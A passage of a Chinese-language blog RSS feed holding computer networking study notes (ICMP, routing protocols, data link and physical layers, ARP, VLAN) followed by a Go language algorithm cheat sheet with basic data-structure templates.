&lt;img src=&quot;Computer-Network/ICMP.jpeg&quot; alt=&quot;ICMP&quot; /&gt;
&lt;code&gt;ICMP&lt;/code&gt; 报文分为两大类:
&lt;code&gt;差错报告报文&lt;/code&gt;和&lt;code&gt;提供信息的报文(询问报文)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;差错报告报文 (&lt;code&gt;Error Report Messages&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;3&lt;/code&gt; 目的不可达 &lt;code&gt;Destination Unreachable&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4&lt;/code&gt; 源抑制 &lt;code&gt;Source Quench&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5&lt;/code&gt; 路由重定向 &lt;code&gt;Redirect (change a route)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;11&lt;/code&gt; 数据报超时 &lt;code&gt;Time Exceeded for a Datagram&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;12&lt;/code&gt; 数据报参数问题 &lt;code&gt;Parameter Problem on a Datagram&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;提供信息的报文 (询问报文) (&lt;code&gt;Information Request/Inquiry Messages&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; 回显应答 &lt;code&gt;Echo Reply&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8&lt;/code&gt; 回显请求 &lt;code&gt;Echo Request&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9&lt;/code&gt; 路由器广告 &lt;code&gt;Router Advertisement&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;10&lt;/code&gt; 路由器请求 &lt;code&gt;Router Solicitation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;13&lt;/code&gt; 时间戳请求 &lt;code&gt;Timestamp Request&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;14&lt;/code&gt; 时间戳应答 &lt;code&gt;Timestamp Reply&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;17&lt;/code&gt; 地址掩码请求 &lt;code&gt;Address Mask Request&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;18&lt;/code&gt; 地址掩码应答 &lt;code&gt;Address Mask Reply&lt;/code&gt;
其中&lt;code&gt;3&lt;/code&gt;、&lt;code&gt;11&lt;/code&gt;、&lt;code&gt;0&lt;/code&gt;、&lt;code&gt;8&lt;/code&gt;常用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/ICMPcontent.jpg&quot; alt=&quot;ICMPcontent&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;PING(Packet InterNet Groper)&lt;/h4&gt;
&lt;p&gt;PING 用来测试两个主机之间的连通性（可到达）
使用了 ICMP 回送请求与回送回答报文
PING 是应用层直接使用网络层 ICMP 的例子，它没有通过传输层的 TCP 或UDP
&lt;s&gt;现在也有TCPing哦&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;当网络中存在网关或防火墙时，由于其防护和数据
包过滤功能，连通性测试结果可能不正确。&lt;/p&gt;
&lt;h3&gt;路由器体系结构 / Router Architecture&lt;/h3&gt;
&lt;p&gt;路由器是网络层的核心专用计算机，其功能逻辑分为控制平面和数据平面
&lt;img src=&quot;Computer-Network/route.png&quot; alt=&quot;route&quot; /&gt;
&lt;strong&gt;控制平面&lt;/strong&gt;负责运行路由协议（如 OSPF、BGP），计算并生成路由表。&lt;strong&gt;数据平面&lt;/strong&gt;则负责根据转发表，将输入端口到达的数据报通过交换结构，以线速交换到合适的输出端口&lt;/p&gt;
&lt;h3&gt;路由选择协议 / Routing Protocols&lt;/h3&gt;
&lt;p&gt;互联网被划分为许多&lt;strong&gt;自治系统 (AS)&lt;/strong&gt;，路由协议因此分为内部网关协议 (IGP) 和外部网关协议 (EGP)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/AS.png&quot; alt=&quot;AS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内部网关协议 (IGP)&lt;/strong&gt; 主要处理 AS 内部路由。&lt;strong&gt;RIP&lt;/strong&gt; 基于距离向量算法，受限于 15 跳，存在“坏消息传得慢”的问题。&lt;strong&gt;OSPF&lt;/strong&gt; 基于链路状态算法，通过泛洪链路状态构建全网拓扑，并利用 &lt;strong&gt;Dijkstra 算法&lt;/strong&gt; 计算最短路径，收敛快，适合大型网络&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;外部网关协议 (EGP)&lt;/strong&gt; 主要处理 AS 之间路由。&lt;strong&gt;BGP&lt;/strong&gt; 是互联网的骨干协议，基于路径向量算法。它交换的是“可达性”信息，核心目标是控制&lt;strong&gt;路由策略&lt;/strong&gt;（如政治、经济因素）而非单纯追求速度&lt;/p&gt;
&lt;h2&gt;数据链路层 / Data Link Layer&lt;/h2&gt;
&lt;p&gt;数据链路层位于物理层与网络层之间，其核心职责是在&lt;strong&gt;相邻节点 (Node-to-Node)&lt;/strong&gt; 之间提供可靠的帧传输服务。物理层传输的是非结构的比特流，而数据链路层通过&lt;strong&gt;封装成帧 (Framing)&lt;/strong&gt;、&lt;strong&gt;差错检测&lt;/strong&gt;和&lt;strong&gt;介质访问控制&lt;/strong&gt;，将物理信道转变为逻辑上无差错的数据链路。在以太网 (Ethernet) 架构中，MAC 地址是该层识别设备的核心标识&lt;/p&gt;
&lt;h3&gt;封装成帧 / Framing&lt;/h3&gt;
&lt;p&gt;数据链路层将网络层传递下来的数据报（Packet）添加首部和尾部，封装成&lt;strong&gt;帧 (Frame)&lt;/strong&gt;。帧不仅是数据链路层的传输单元，也界定了数据的起止位置（帧同步）
&lt;img src=&quot;Computer-Network/frametransport.png&quot; alt=&quot;frametransport&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;透明传输机制&lt;/strong&gt;
为了防止数据载荷中出现的特定比特组合被误判为帧定界符（即“假标志”），必须采取透明传输措施：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字符填充法&lt;/strong&gt;：在面向字节的协议（如 PPP）中，如果数据中出现控制字符，通过插入转义字符进行区分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零比特填充法&lt;/strong&gt;：在面向比特的协议（如 HDLC）中，若数据中连续出现 5 个“1”，则自动插入一个“0”，接收端执行逆操作。这确保了帧定界符（如 &lt;code&gt;01111110&lt;/code&gt;）在数据流中的唯一性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;差错控制 / Error Control&lt;/h3&gt;
&lt;p&gt;物理信道受噪声影响可能产生比特差错
数据链路层主要通过&lt;strong&gt;循环冗余校验 (CRC)&lt;/strong&gt; 技术进行差错检测。发送端根据生成多项式计算出帧检验序列 (FCS) 并附加在帧尾；接收端通过模 2 运算验证数据的完整性&lt;/p&gt;
&lt;p&gt;值得注意的是，现代以太网通常仅提供&lt;strong&gt;无差错接受&lt;/strong&gt;（即凡是校验错误的帧直接丢弃，不负责重传），可靠传输通常由上层传输层（TCP）或特定的链路层协议（如无线链路）通过&lt;strong&gt;自动重传请求 (ARQ)&lt;/strong&gt; 机制（包括停止-等待协议、后退 N 帧协议、选择重传协议）来实现&lt;/p&gt;
&lt;h3&gt;介质访问控制 / MAC&lt;/h3&gt;
&lt;p&gt;在广播信道（如总线型以太网或无线局域网）中，多个设备共享同一物理介质。为了解决多设备同时发送数据导致的&lt;strong&gt;冲突 (Collision)&lt;/strong&gt;，必须采用介质访问控制协议&lt;/p&gt;
&lt;h4&gt;载波监听多点接入 / CSMA&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;CSMA/CD (载波监听多点接入/碰撞检测)&lt;/strong&gt;
有线以太网早期采用的随机接入协议。其工作流程遵循“先听后说，边听边说”原则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;载波监听&lt;/strong&gt;：发送前检测信道是否空闲&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;碰撞检测&lt;/strong&gt;：发送过程中监控信道电压变化。一旦检测到冲突，立即停止发送并广播干扰信号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二进制指数退避算法&lt;/strong&gt;：发生冲突后，节点随机等待一段时间后重传。随着冲突次数增加，等待时间的随机范围呈指数级扩大，以降低再次冲突的概率&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;CSMA/CA (载波监听多点接入/碰撞避免)&lt;/strong&gt;
无线局域网 (Wi-Fi) 由于无法在发送时准确检测碰撞（隐蔽站问题），采用了&lt;strong&gt;碰撞避免&lt;/strong&gt;机制，通过帧间间隔 (IFS) 和预约信道（RTS/CTS 握手）来降低冲突概率&lt;/p&gt;
&lt;h3&gt;MAC 地址与以太网帧 / MAC Address &amp;amp; Ethernet Frame&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;MAC 地址 (Media Access Control Address)&lt;/strong&gt;
MAC 地址是烧录在网络接口控制器 (NIC) 上的 48 位全球唯一标识符，属于&lt;strong&gt;物理地址&lt;/strong&gt;。与 IP 地址（逻辑地址）不同，MAC 地址是扁平化的，不具备层次结构，仅用于在局域网内部区分不同的硬件设备&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以太网帧结构&lt;/strong&gt;
标准的以太网 V2 帧包含目的 MAC 地址、源 MAC 地址、类型字段（标识上层协议，如 IP）、数据载荷及帧检验序列 (FCS)。以太网规定了&lt;strong&gt;最大传输单元 (MTU)&lt;/strong&gt;，通常为 1500 字节，限制了数据载荷的最大长度&lt;/p&gt;
&lt;h3&gt;地址解析协议 / ARP&lt;/h3&gt;
&lt;p&gt;在实际通信中，发送方通常仅知晓目标的 IP 地址。ARP 协议解决了从 IP 地址到 MAC 地址的动态映射问题&lt;/p&gt;
&lt;h4&gt;ARP 工作流程&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;广播请求&lt;/strong&gt;：源主机在局域网内广播发送 ARP 请求分组，询问特定 IP 地址对应的 MAC 地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单播响应&lt;/strong&gt;：目标主机收到请求后，识别出自身的 IP 地址，并以单播形式返回包含自身 MAC 地址的 ARP 响应分组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ARP 缓存&lt;/strong&gt;：源主机收到响应后，将映射关系存入本地 ARP 高速缓存表，并设定老化时间，以避免重复广播&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们可以用&lt;code&gt;arp -a&lt;/code&gt;来看看arp自己电脑的arp表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ arp -a
? (192.168.101.146) at c8:d3:ff:0f:70:0e [ether] on wlp4s0
? (192.168.101.42) at 74:9e:f5:d7:f4:bb [ether] on wlp4s0
...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;交换机与 VLAN / Switch &amp;amp; VLAN&lt;/h3&gt;
&lt;h4&gt;交换机原理 / Switching&lt;/h4&gt;
&lt;p&gt;传统的集线器工作在物理层，单纯转发比特，无法隔离冲突。交换机则是工作在数据链路层的多端口网桥&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自学习算法&lt;/strong&gt;：交换机通过分析进入端口的帧的&lt;strong&gt;源 MAC 地址&lt;/strong&gt;，构建并维护 MAC 地址转发表&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;帧转发&lt;/strong&gt;：交换机根据&lt;strong&gt;目的 MAC 地址&lt;/strong&gt;查找转发表，将帧精确转发至目标端口（若地址未知则泛洪）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隔离冲突域&lt;/strong&gt;：交换机的每个端口都是一个独立的冲突域，支持全双工通信，显著提升了网络性能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;虚拟局域网 / VLAN&lt;/h4&gt;
&lt;p&gt;虽然交换机隔离了冲突域，但所有端口仍属于同一个&lt;strong&gt;广播域&lt;/strong&gt;。为了控制广播风暴和增强安全性，引入了 VLAN 技术（IEEE 802.1Q 标准）
通过在以太网帧中插入 &lt;strong&gt;VLAN Tag（标签）&lt;/strong&gt;，管理员可以在逻辑上将物理网络划分为多个独立的广播域。不同 VLAN 之间的通信无法直接通过二层交换实现，必须经过第三层设备（路由器或三层交换机）进行路由转发&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/VLAN.png&quot; alt=&quot;VLAN&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;小知识点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;集线器 (Hub)：既不隔离冲突，也不隔离广播&lt;/li&gt;
&lt;li&gt;交换机 (Switch)：隔离冲突，&lt;strong&gt;不&lt;/strong&gt;隔离广播&lt;/li&gt;
&lt;li&gt;路由器 (Router) / VLAN：隔离冲突，&lt;strong&gt;也&lt;/strong&gt;隔离广播&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;广域网链路控制 / WAN Link Control&lt;/h3&gt;
&lt;p&gt;与局域网不同，广域网 (WAN) 通常使用点对点连接，无需解决介质访问冲突问题，主要关注点对点的封装效率&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PPP (Point-to-Point Protocol)&lt;/strong&gt;：目前最广泛使用的广域网协议。它支持多种网络层协议，提供错误检测、链路配置（LCP）和网络控制（NCP）。PPP 是面向字节的，采用字节填充法实现透明传输&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HDLC (High-Level Data Link Control)&lt;/strong&gt;：一种面向比特的同步数据链路层协议，采用零比特填充法。虽然具有较高的理论价值，但在实际互联网应用中已被 PPP 取代&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/PPP.png&quot; alt=&quot;PPP&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;物理层 / Physical Layer&lt;/h2&gt;
&lt;p&gt;物理层位于协议栈的最底层，其核心任务是确定传输介质的机械、电气、功能和过程特性，以便在物理媒体上透明地传输&lt;strong&gt;比特流 (Bit stream)&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;信号调制 / Signal Modulation&lt;/h3&gt;
&lt;p&gt;计算机内部的数字信号需要转换为适合物理信道传输的模拟信号，这一过程称为调制&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基带传输&lt;/strong&gt;：直接传输数字基带信号的电压脉冲，通常用于近距离传输（如局域网）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;频带传输&lt;/strong&gt;：利用载波将数字信号搬移到较高的频段。常见的调制方法包括调幅 (ASK)、调频 (FSK) 和调相 (PSK)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/QAM.png&quot; alt=&quot;QAM&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;奈奎斯特定理 / Nyquist Theorem&lt;/h3&gt;
&lt;p&gt;1924 年，奈奎斯特推导出了在&lt;strong&gt;理想低通（无噪声）&lt;/strong&gt; 信道下的极限数据传输速率。该定理指出，为了避免&lt;strong&gt;码间串扰 (ISI)&lt;/strong&gt;，信道的最高码元传输速率受限于信道带宽&lt;/p&gt;
&lt;p&gt;公式表达为：
$$ C_{max} = 2W \times \log_2 V $$
其中 $W$ 为信道带宽 (Hz)，$V$ 为信号电平的离散等级数。该定理揭示了在无噪声环境下，提升数据传输率的唯一途径是采用更高阶的调制技术（增加 $V$），从而使每个码元携带更多的比特信息&lt;/p&gt;
&lt;h3&gt;香农定理 / Shannon Theorem&lt;/h3&gt;
&lt;p&gt;1948 年，香农进一步提出了在&lt;strong&gt;高斯白噪声&lt;/strong&gt;干扰下的信道容量极限。该定理定义了数据传输速率的绝对物理上限&lt;/p&gt;
&lt;p&gt;公式表达为：
$$ C = B \times \log_2(1 + \frac{S}{N}) $$
其中 $B$ 为带宽，$S/N$ 为信噪比（功率比）。香农定理表明，在噪声不可避免的实际信道中，通过无限增加信号电平级数并不能无限提升速率，因为过密的电平会被噪声淹没&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;实际信道的极限传输速率由奈奎斯特定理和香农定理计算结果的较小值决定&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;数据编码 / Data Encoding&lt;/h3&gt;
&lt;p&gt;数据编码涉及将比特转换为具体的信号波形，重点在于时钟同步与频谱效率&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;非归零编码 (NRZ)&lt;/strong&gt;
NRZ 用高低电平直接表示 1 和 0。其主要缺陷是缺乏自同步能力，长串的连续 0 或 1 会导致接收端时钟漂移，且存在直流分量&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;曼彻斯特编码 (Manchester)&lt;/strong&gt;
曼彻斯特编码规定每个比特周期的中心必须发生电压跳变。这种跳变既代表数据（例如低到高为 0，高到低为 1），也作为时钟信号供接收端同步。虽然它实现了&lt;strong&gt;自同步&lt;/strong&gt;，但其代价是频带宽度需求加倍（调制速率是数据率的 2 倍）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;差分曼彻斯特编码&lt;/strong&gt;
这是一种抗干扰能力更强的编码。它同样在位中心跳变用于同步，但利用&lt;strong&gt;位开始边界&lt;/strong&gt;是否发生跳变来表示数据（如无跳变表示 1，有跳变表示 0）
&lt;img src=&quot;Computer-Network/01010101.png&quot; alt=&quot;01010101&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;传输介质与模式 / Media &amp;amp; Modes&lt;/h3&gt;
&lt;p&gt;物理层的传输介质主要分为导引型（如双绞线、光纤）和非导引型（如无线电波）。光纤利用光的全反射原理传输，其中&lt;strong&gt;单模光纤&lt;/strong&gt;因纤芯极细、无模间色散而适用于长距离主干传输；&lt;strong&gt;多模光纤&lt;/strong&gt;则适用于短距离传输
&lt;img src=&quot;Computer-Network/Single_mode_vs_Multimode_fiber.png&quot; alt=&quot;Single_mode_vs_Multimode_fiber&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在通信交互方式上，分为三种模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单工&lt;/strong&gt;：仅允许单方向传输&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;半双工&lt;/strong&gt;：允许双向传输，但某一时刻只能单向进行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全双工&lt;/strong&gt;：允许通信双方同时进行双向传输
&lt;img src=&quot;Computer-Network/full_duplex_half_duplex.jpg&quot; alt=&quot;full_duplex_half_duplex&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;互连设备 / Interconnection Devices&lt;/h3&gt;
&lt;p&gt;物理层设备主要包括中继器和集线器
&lt;strong&gt;中继器 (Repeater)&lt;/strong&gt; 的作用是对衰减的信号进行&lt;strong&gt;整形与再生&lt;/strong&gt;，以恢复波形并延长传输距离
&lt;strong&gt;集线器 (Hub)&lt;/strong&gt; 实质上是一个多端口中继器。由于它将输入信号广播到所有端口，导致所有连接设备处于同一个&lt;strong&gt;冲突域&lt;/strong&gt;，总带宽由所有用户共享，且网络效率随节点增加而急剧下降&lt;/p&gt;
&lt;h2&gt;more&lt;/h2&gt;
&lt;p&gt;其实挺悲哀的，写了几天的文档结果根本没人在意&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Algorithm</title><link>https://blog.s3loy.tech/posts/algorithm</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/algorithm</guid><pubDate>Wed, 29 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. Go&lt;/h2&gt;
&lt;h3&gt;1.1. 核心数据类型&lt;/h3&gt;
&lt;h4&gt;1.1.1. 整数和浮点数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;var x int = 10
y := -5   
var big int64 = 1 &amp;lt;&amp;lt; 62

pi := 3.14159     // float64

a := 5.0 
b := int(a)       // 类型显式转换

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;极值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;math&quot;

const MaxInt = math.MaxInt
const MinInt = math.MinInt
const MaxFloat64 = math.MaxFloat64
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.1.2. 字符串 &amp;amp; rune&lt;/h4&gt;
&lt;p&gt;Go 的字符串是不可变的字节切片，处理包含中文或特殊字符的字符串时，必须使用 &lt;code&gt;rune&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello 世界&quot;
len(s)              // 12 (字节长度，中文占3字节)
len([]rune(s))      // 8 (字符数量)

var ch byte = &apos;A&apos;   // ASCII 
var r rune = &apos;世&apos;   // Unicode 

// 字符串拼接 (在循环中建议使用 strings.Builder)
s = s + &quot;!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.1.3. 变量交换&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;a, b = b, a
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2. 核心数据结构&lt;/h3&gt;
&lt;h4&gt;1.2.1. 切片 动态数组&lt;/h4&gt;
&lt;h5&gt;1.2.1.1. 创建&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums := []int{1, 2, 3}

// make(type, len, cap)
ans := make([]int, 0)      // 空切片
grid := make([][]int, n)   // 二维切片初始化需要循环
for i := range grid {
    grid[i] = make([]int, m)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.2.1.2. 访问与切片&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;切片是浅拷贝&lt;/strong&gt;，修改子切片会影响原切片&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;val := nums[0]
sub := nums[1:3]  // [start:end], 左闭右开 [start,end)
copySub := make([]int, len(sub))
copy(copySub, sub) // 深拷贝必须手动 copy
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.2.1.3. 常用操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nums = append(nums, 4)
nums = append(nums, 5, 6)

n := len(nums)
c := cap(nums)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.2.2. map 映射 哈希表&lt;/h4&gt;
&lt;p&gt;无序键值对&lt;/p&gt;
&lt;h5&gt;1.2.2.1. 创建 操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;m := make(map[string]int)
m[&quot;age&quot;] = 18

dict := map[string]int{
    &quot;a&quot;: 1,
    &quot;b&quot;: 2,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;map[keyType]valueType&lt;/code&gt;
在初始化的时候使用&lt;code&gt;keyType: valueType,&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;1.2.2.2. Key Check&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;val, ok := map[&quot;a&quot;]

// 可以配合if使用
if val, ok := map[&quot;a&quot;]; ok {
  pass
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.2.2.3. 删除 遍历&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;delete(map, &quot;a&quot;)

// 遍历 顺序随机
for k, v := range m {
    fmt.Println(k, v)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.2.3. 控制流&lt;/h4&gt;
&lt;h5&gt;1.2.3.1. 条件判断 if&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;if x := 10; x &amp;gt; 5 {
    // x 的作用域仅限于 if/else 块内
    fmt.Println(x)
} else if x == 5 {
    pass
} else {
    pass
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.2.3.2. 循环 for&lt;/h5&gt;
&lt;p&gt;有且仅有 &lt;code&gt;for&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i := 0; i &amp;lt; 5; i++ {
  pass
}

i := 0
for i &amp;lt; 5 {
    i++
}

for {
    break
}

// range 遍历
for i, v := range nums { ... }  // 遍历切片 索引, 值
for i := range nums { ... }     // 仅遍历索引
for _, v := range nums { ... }  // 仅遍历值
for k, v := range myMap { ... } // 遍历 Map
for i, ch := range str { ... }  // 遍历字符串  i是字节索引, ch是rune
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.2.3.3. switch&lt;/h5&gt;
&lt;p&gt;默认不需要&lt;code&gt;break&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;switch score / 10 {
case 10, 9:
    fmt.Println(&quot;A&quot;)
case 8:
    fmt.Println(&quot;B&quot;)
default:
    fmt.Println(&quot;C&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3. 常用内置库与函数&lt;/h3&gt;
&lt;h4&gt;1.3.1. 排序 sort&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import &quot;sort&quot;

nums := []int{3, 1, 2}

sort.Ints(nums)          // [1, 2, 3]
sort.Strings(strList)


sort.Slice(nums, func(i, j int) bool {
    return abs(nums[i]) &amp;gt; abs(nums[j])
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.3.2. 数学 math&lt;/h4&gt;
&lt;p&gt;Go 的 math 库主要针对 float64。对于 int，Go 1.21 引入了内置 min/max&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;math&quot;
m := max(1, 5)
n := min(10, 2)

f := math.Abs(-5.2)
p := math.Pow(2, 10)
sq := math.Sqrt(16)

func abs(x int) int { if x &amp;lt; 0 { return -x }; return x }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.3.3. 字符串处理 strings / strconv&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import (
    &quot;strings&quot;
    &quot;strconv&quot;
)

arr := strings.Split(&quot;a,b,c&quot;, &quot;,&quot;)     // -&amp;gt; []string{&quot;a&quot;, &quot;b&quot;, &quot;c&quot;}
s := strings.Join(arr, &quot;-&quot;)            // -&amp;gt; &quot;a-b-c&quot;
idx := strings.Index(&quot;hello&quot;, &quot;e&quot;)     // -&amp;gt; 1 (不存在返回 -1)
cnt := strings.Count(&quot;banana&quot;, &quot;a&quot;)    // -&amp;gt; 3
has := strings.Contains(&quot;hello&quot;, &quot;he&quot;) // -&amp;gt; true

// strconv (类型转换)
// String -&amp;gt; Int
num, err := strconv.Atoi(&quot;123&quot;)        // a 2 i
// Int -&amp;gt; String
str := strconv.Itoa(123)               // i 2 a
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4. 常见算法模板实现&lt;/h3&gt;
&lt;h4&gt;1.4.1. stack 栈&lt;/h4&gt;
&lt;p&gt;没有内置栈&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stack := []int{}

// Push
stack = append(stack, 1)

// Top
top := stack[len(stack)-1]

// Pop 
val := stack[len(stack)-1]
stack = stack[:len(stack)-1]

// Empty
isEmpty := len(stack) == 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.2. Queue 队列&lt;/h4&gt;
&lt;p&gt;用切片模拟，出队操作如果是 nums = nums[1:] 可能会导致内存泄漏（底层数组未释放），通常可以忽略&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;queue := []int{}

// Enqueue
queue = append(queue, 1)

// Dequeue
val := queue[0]
queue = queue[1:]

// Empty
isEmpty := len(queue) == 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.3. Set 集合&lt;/h4&gt;
&lt;p&gt;Go 没有 set 类型，使用 map[key]bool 或 map[key]struct{} 模拟&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set := make(map[int]struct{}) // 空结构体不占内存

// Add
set[1] = struct{}{}    // 对struct{} 初始化 -&amp;gt; struct{}{}

// Contains
if _, ok := set[1]; ok { ... }

// Remove
delete(set, 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.4. ListNode 链表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;type ListNode struct {
    Val  int
    Next *ListNode
}

// Dummy Node 处理头节点边界
dummy := &amp;amp;ListNode{Next: head}
cur := dummy
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.5. TreeNode 二叉树&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;type TreeNode struct {
    Val   int
    Left  *TreeNode
    Right *TreeNode
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1.4.6. 优先队列 / 堆 Priority Queue&lt;/h4&gt;
&lt;p&gt;需要实现 &lt;code&gt;heap.Interface&lt;/code&gt; 接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;container/heap&quot;

type IntHeap []int

// 实现 sort.Interface 三个方法
func (h IntHeap) Len() int           { return len(h) }
func (h IntHeap) Less(i, j int) bool { return h[i] &amp;lt; h[j] } // 小顶堆 &amp;lt;, 大顶堆 &amp;gt;
func (h IntHeap) Swap(i, j int)      { h[i], h[j] = h[j], h[i] }

// 实现 heap 接口的 Push 和 Pop
func (h *IntHeap) Push(x interface{}) {
    *h = append(*h, x.(int))
}
func (h *IntHeap) Pop() interface{} {
    old := *h
    n := len(old)
    x := old[n-1]
    *h = old[0 : n-1]
    return x
}

// 使用方法
func main() {
    h := &amp;amp;IntHeap{2, 1, 5}
    heap.Init(h)                // 初始化 O(n)
    heap.Push(h, 3)             // 入堆 O(log n)
    minVal := heap.Pop(h).(int) // 出堆 O(log n)
}
&lt;/code&gt;&lt;/pre&gt;
